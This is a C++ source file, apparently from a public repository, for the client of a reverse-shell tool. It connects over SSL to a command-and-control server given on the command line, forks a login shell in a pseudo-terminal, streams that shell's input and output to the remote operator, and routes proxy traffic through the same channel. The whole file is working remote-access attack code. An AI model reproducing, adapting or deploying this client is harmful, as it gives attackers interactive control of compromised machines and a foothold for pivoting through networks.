-
Notifications
You must be signed in to change notification settings - Fork 6
/
client.cc
327 lines (268 loc) · 8.93 KB
/
client.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
////////////////////////////////////////////////////////////////////////////////
// client.cc
// author: [email protected]
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>
#include <poll.h>
#include <pwd.h>
#include <cstdlib>
#include <csignal>
#include <cstring>
#include <cstdio>
#include "core.h"
#include "ssl.h"
#include "proxy.h"
#define DEFAULT_ROWS 25
#define DEFAULT_COLS 80
#define READ_BUFSIZE 8192
////////////////////////////////////////////////////////////////////////////////
// wrapper class for shell spawned in pty
class pty_shell {
public:
// ctors / dtors
pty_shell() {}
~pty_shell() {}
// pseudo terminal i/o
int pty_init(int rows, int cols);
int pty_read(char * buf, int len);
int pty_write(const char * buf, int len);
// getters
pid_t pid() const { return slave_pid; }
void window_size(int * rows, int * cols) const;
// setters
void resize(int rows, int cols);
protected:
int master_fd;
pid_t slave_pid;
struct winsize ws;
};
////////////////////////////////////////////////////////////////////////////////
// run reverse shell client
int main(int argc, char **argv) {
pty_shell shell;
ssl_transport ssl;
transport & tpt = ssl;
transport_proxy proxy;
int read_count = 0;
int write_count = 0;
int proxy_count = 0;
char buf[READ_BUFSIZE];
// initialise debug log
log_init(argv[0], LOG_FILE | LOG_ECHO);
// set host ip / port if required
if (argc > 1) {
ssl.setopt(SSL_OPT_HOST, argv[1]);
}
if (argc > 2) {
ssl.setopt(SSL_OPT_PORT, argv[2]);
}
// connect via SSL to c2 server (blocking)
if (tpt.init(TPT_CLIENT) < 0) {
LOG("fatal: failed to establish transport connection\n");
exit(-1);
}
// spawn shell inside psuedo terminal
if (shell.pty_init(DEFAULT_ROWS, DEFAULT_COLS) < 0) {
LOG("fatal: pty init failed!\n");
exit(-1);
} else {
int rows, cols;
shell.window_size(&rows, &cols);
LOG("info: spawned %dx%d pty shell (%d)\n", rows, cols, shell.pid());
}
// start client loop
LOG("info: starting loop...\n");
while (1) {
// check for shell output (read pty pipe) (non-blocking)
int bytes = shell.pty_read(buf, sizeof(buf));
if (bytes < 0) {
LOG("fatal: tty_read(%d)\n", bytes);
break;
} else if (bytes > 0) {
// log output to file / stdout
LOG("RD: [%04d] %d bytes\n", read_count++, bytes);
hexdump(buf, bytes);
// send shell output to c2 server
int bytes_sent = 0;
while (bytes_sent < bytes) {
message msg(MSG_RVSHELL, buf + bytes_sent, bytes - bytes_sent);
tpt.send(msg);
bytes_sent += msg.body_len();
}
}
// check for terminal input from c2 server (non-blocking)
message msg;
bytes = tpt.recv(msg);
if (bytes == TPT_CLOSE) {
LOG("fatal: c2 connection terminated\n");
break;
} else if (bytes == TPT_ERROR) {
LOG("fatal: transport failure\n");
break;
} else if (bytes != TPT_EMPTY) {
// handle message based on type
switch (msg.type()) {
case MSG_WNDSIZE: {
// log the resize to file / stdout
int * rows = (int*)(msg.body());
int * cols = (int*)(msg.body() + sizeof(int));
LOG("WND: resizing to %dx%d\n", *rows, *cols);
// tell the client shell to resize itself
shell.resize(*rows, *cols);
break;
}
case MSG_RVSHELL: {
// log terminal input to file / stdout
LOG("WR: [%04d] %3d '", write_count++, bytes);
for (int i = 0; i < bytes; i++) {
if (isprint(msg.body()[i])) {
LOG("%c", msg.body()[i]);
}
}
LOG("'\n");
// send tty input to shell (write pty pipe)
shell.pty_write(msg.body(), msg.body_len());
break;
}
case MSG_PROXY_INIT:
case MSG_PROXY_PASS:
case MSG_PROXY_FAIL:
case MSG_PROXY_DATA:
case MSG_PROXY_DEAD: {
LOG("PROXY: [%04d] %d bytes\n", proxy_count++, bytes);
hexdump(msg.body(), msg.body_len());
proxy.handle_msg(ssl, msg);
break;
}
default:
LOG("error: invalid message type received!\n");
break;
}
}
// handle proxy traffic routing
proxy.poll(ssl);
}
LOG("info: client exiting\n");
return 0;
}
////////////////////////////////////////////////////////////////////////////////
// fork pseudo terminal and execute the slave shell
int pty_shell::pty_init(int rows, int cols) {
// initialise window size struct
memset(&ws, 0, sizeof(ws));
ws.ws_row = rows;
ws.ws_col = cols;
// fork the pseudo-terminal, creating master/slave pipe
slave_pid = forkpty(&master_fd, NULL, NULL, &ws);
if (slave_pid < 0) {
return -1;
}
// make pipe non-blocking
int flags = fcntl(master_fd, F_GETFL, 0);
fcntl(master_fd, F_SETFL, flags | O_NONBLOCK);
// spawn shell for forked pseudo terminal
char * shell = NULL;
if (slave_pid == 0) {
signal(SIGINT, SIG_DFL);
setenv("TERM", "vt100", 1);
// determine the user shell to launch
struct passwd * user = getpwuid(getuid());
if (user == NULL || user->pw_shell == NULL) {
shell = (char*)"/bin/sh";
} else {
shell = user->pw_shell;
}
// execute the shell in forked pty
if (execl(shell, shell, "-l", NULL) < 0) {
exit(EXIT_FAILURE);
} else {
exit(EXIT_SUCCESS);
}
}
return 0;
}
////////////////////////////////////////////////////////////////////////////////
// read from the slave shell stdout pipe
int pty_shell::pty_read(char * buf, int len) {
// confirm that we have a valid pipe
if (master_fd < 0) {
return -1;
}
// confirm that the slave is still running
int state;
pid_t pid = waitpid(slave_pid, &state, WNOHANG);
if (pid == slave_pid || pid == -1) {
return -1;
}
// confirm that we have data waiting on the pipe
struct pollfd fd_array;
fd_array.fd = master_fd;
fd_array.events = POLLIN;
int retval = poll(&fd_array, 1, 10); // 10ms wait
if (retval <= 0) {
return (errno == EINTR) ? 0 : retval;
}
/* -- PENDING REMOVAL AS OSX DOESN'T SUPPORT 'TIOCINQ' --
// get number of bytes waiting in pipe
int bytes_ready;
retval = ioctl(master_fd, TIOCINQ, &bytes_ready);
if (retval == -1 || bytes_ready == 0) {
return 0;
}
// read as much as possible from the pipe
char * pos = buf;
int bytes_remaining = MAX(0, MIN(len, bytes_ready));
while (bytes_remaining > 0) {
int nbytes = read(master_fd, pos, bytes_remaining);
if (nbytes == -1) {
if (errno == EINTR) {
nbytes = 0;
} else {
return errno;
}
}
if (nbytes <= 0) {
break;
}
bytes_remaining -= nbytes;
pos += nbytes;
}
return bytes_ready - bytes_remaining;
*/
int bytes;
int bytes_read = 0;
char * pos = buf;
while ((bytes = read(master_fd, pos, len - bytes_read)) > 0) {
bytes_read += bytes;
pos += bytes;
}
return bytes_read;
}
////////////////////////////////////////////////////////////////////////////////
// write to the stdin pipe for the slave shell
int pty_shell::pty_write(const char * buf, int len) {
return write(master_fd, buf, len);
}
////////////////////////////////////////////////////////////////////////////////
// send resize information to pty shell
void pty_shell::resize(int rows, int cols) {
ws.ws_row = rows;
ws.ws_col = cols;
ioctl(master_fd, TIOCSWINSZ, &ws);
window_size(&rows, &cols);
LOG("info: pty shell resized to %dx%d\n", rows, cols);
}
////////////////////////////////////////////////////////////////////////////////
// return size of current pty shell window
void pty_shell::window_size(int * rows, int * cols) const {
struct winsize window_size;
ioctl(master_fd, TIOCGWINSZ, &window_size);
if (rows != NULL) *rows = window_size.ws_row;
if (cols != NULL) *cols = window_size.ws_col;
}
////////////////////////////////////////////////////////////////////////////////